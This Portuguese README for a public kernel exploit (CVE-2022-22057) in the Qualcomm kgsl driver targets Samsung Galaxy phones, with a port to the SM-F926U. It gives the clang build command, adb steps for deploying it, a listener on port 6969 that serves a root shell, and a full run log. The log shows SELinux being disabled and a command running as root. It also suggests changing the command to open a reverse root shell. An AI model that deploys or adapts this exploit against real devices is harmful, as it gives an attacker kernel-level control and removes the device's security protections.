
Qualcomm kgsl driver exploit (CVE-2022-22057) para dispositivos Samsung Galaxy que alcança leitura/escrita arbitrária de memória do kernel, bypass do SELinux e acesso root temporário via condição de corrida.
A minha adaptação para o SM-F926U a partir do exploit original aqui
MUITO obrigado ao m-y-mo por descobrir o exploit e pela sua extrema paciência com todas as minhas perguntas para portar isto para o SM-F926U e torná-lo utilizável
Adicionei um daemon de inicialização (libtimeline.so) baseado em código do Shizuku
Adicionei um truque sujo para permitir que a solução de root temporária seja estável (ver abaixo)
Aviso: Não sou responsável por dispositivos destruídos, dados perdidos, dados roubados, segurança do dispositivo
Aviso 2: Não sou programador, sou mais um experimentador profissional. Posso tentar ajudar se você encontrar problemas, posso nunca mais olhar para este tópico, prossiga por sua conta e risco
Requisitos:
Instruções:
/data/local/tmp/timeline diretamente, pois pode ver se o exploit está sendo executado ou travado (veja as ressalvas abaixo)/data/local/tmp/libtimeline.sonetcat 127.0.0.1 6969 em uma sessão adbid e ele mostrará suas credenciais de rootMais ressalvas:
top que o timeline está executando com cerca de 100% de uso de cpu. Não tenho certeza se isso é legítimo ou não. Na verdade, ele está apenas sentado em um estado while(1) para evitar que feche e trave o dispositivo, então não encontrei o que está causando o alto uso de cpu ou se é um falso positivoO artigo pode ser encontrado aqui. Este é um bug no driver kgsl da Qualcomm que reportei em novembro de 2021. O bug pode ser usado para obter leitura e escrita arbitrárias de memória do kernel a partir do domínio de aplicativos não confiáveis, que é então usado para desabilitar o SELinux e obter root.
O exploit foi testado no Samsung Galaxy Z Flip 3 (versão europeia SM-F711B) com versão de firmware F711BXXS2BUL6, baseband F711BXXU2BUL4 e versão de kernel 5.4.86-qgki-23063627-abF711BXXS2BUL6 (região EUX). Os offsets no exploit referem-se a essa versão do firmware. Além dos offsets habituais na imagem do kernel, vários endereços dos pools de memória ion em ion_utils.c também são específicos do firmware. Para referência, usei o seguinte comando para compilar com clang no ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline
O exploit é razoavelmente confiável (~70% no dispositivo testado), embora precise esperar alguns minutos após a inicialização antes de executar, pois há muitas chamadas binder quebradas/falhas durante os primeiros minutos após a inicialização. (Não tenho total certeza se é um problema da Qualcomm ou da Samsung)
Para testar, faça a compilação cruzada do arquivo e depois execute com adb:
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline
Se tiver sucesso, ele desabilitará o SELinux e executará o comando id como root e gravará os resultados no arquivo /data/local/tmp/id.txt:
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished
Há uma longa pausa após wait complete -1 ser impresso, que deve ser inferior a um minuto; isso é normal. Às vezes, também pode demorar um pouco para enfileirar o trabalho (depois que queuing work, waiting to aquire spin lock é impresso, podem ser alguns minutos, basta ter paciência, embora isso não seja comum). O exploit normalmente completa em alguns minutos.
O arquivo /data/local/tmp/id.txt deve confirmar que o comando foi executado como root:
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
Um comando diferente pode ser executado alterando a variável cmd em setup_sub_info em work_queue_utils.c. (Por exemplo, para abrir uma shell root reversa).